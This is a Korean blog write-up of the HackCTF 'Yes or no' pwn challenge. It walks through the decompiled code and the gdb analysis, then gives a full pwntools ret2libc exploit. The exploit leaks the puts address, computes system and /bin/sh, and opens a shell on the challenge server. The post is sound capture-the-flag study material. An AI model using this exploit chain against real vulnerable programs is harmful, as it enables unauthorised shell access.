[HackCTF] :pwn: Yes or no

두비니

·

2021. 3. 10. 00:03

 

 

 

 

 

 

ㄱㄱ

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int v10; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;                                 // v3=6
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);						//vuln
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

 

 

ida에서 제공해주는 main코드입니다. 근데 보통 저렇게 C언어 코드가 난리가 나는 경우는 어셈으로 바뀌면서 생긴 연산들을 모두 수행해서 그렇습니다. 이럴때는 차라리 어셈보면서 푸는게 낫습니다.

 

근데 어셈을 보기 전에, 코드를 보면, s를 입력받은 뒤에, 그걸 v10에 넣고, 그 v10을 if(v4 == 10)에 씁니다. 근데 우리가 도달하고 싶은 곳은 else 안에있는 gets로, 뭔가 v4의 값이든 else안에 있는 또다른 if문의 값이든 확인해야 합니다. 따라서 그 생각을 가지고 어셈을 봅시다.

 

 

어셈 첫부분을 보면, fgets가 call되고, atoi가 실행된 뒤 eax의 값이 [rbp-0x8]로 들어갑니다. 따라서 딱 자리도 v10이여서 그 이후로 쭉 어셈을 봤습니다

 

 

밑으로 내려와서 복잡한 계산은 다 건너뛰고, main+237을 보면 eax와 rbp-0x8과 비교해서 틀리면 gets를 건너뜁니다. 우리는 gets로 가야하기때문에 두 값이 같아야겠죠?

그래서 main+237에 브레이크포인트를 걸고 들어온 값을 확인했습니다.

 

 

짠 0x960000네요. 그리고 제가 입력한 16도 16진수로 잘 들어가있는걸 볼 수 있습니다.

그럼 이걸로 gets에 연결된 뒤에 rop를 진행하면 되겠죠?

 

from pwn import *

context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3009)
#p = process("./yes_or_no")
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

#GADGETS#
p_rdi = 0x0000000000400883
ret = 0x000000000040056e
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = e.symbols['main']

system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binsh_offset = list(libc.search('/bin/sh\x00'))[0]

#1. LEAK puts_addr#
p.recvuntil("~!")
p.sendline("9830400")
p.recvuntil("me\n")

r = "A"*(0x12+0x8)
r += p64(p_rdi)
r += p64(puts_got)
r += p64(puts_plt)
r += p64(main)

#gdb.attach(p)
p.sendline(r)

puts_addr = u64(str(p.recv(6)) + "\x00\x00")
libc = puts_addr - puts_offset
system_addr = libc + system_offset
binsh_addr = libc + binsh_offset
log.info("puts_addr = 0x%x" % puts_addr)
log.info("system_addr = 0x%x" % system_addr)
log.info("binsh_addr = 0x%x" % binsh_addr)

#2. Exploit#
p.recvuntil("~!")
p.sendline("9830400")
p.recvuntil("me\n")

r2 = "A"*(0x12+0x8)
r2 += p64(p_rdi)
r2 += p64(binsh_addr)
r2 += p64(ret)		#WHY????
r2 += p64(system_addr)

sleep(0.5)
p.sendline(r2)
p.interactive()

 

 

일단 풀긴 풀었는데 마지막 주석으로 why????해놓은 부분은 혼자서 해결 못했습니다.. 제가 아는 상식전에서는 pop rdi 가젯을 구하면(뒤에 ret가 붙어있는경우) 알아서 ret까지 수행되는걸로 알고있는데, ret가젯을 안붙이면 익스가 안되고, 붙이면 되더라구요... 이거는 추후에 찾으면 추가하도록 하겠습니다. 

 

 

굳굳

'War Games > HackCTF' 카테고리의 다른 글

[HackCTF] :rev: Reversing Me  (0) 2021.03.11
[HackCTF] :rev: Welcome_REV  (0) 2021.03.10
[HackCTF] :pwn: x64 Buffer Overflow  (0) 2021.03.08
[HackCTF] :pwn: 내 버퍼가 흘러넘친다!!!  (0) 2021.03.06
[HackCTF] :pwn: Basic_FSB  (0) 2021.03.05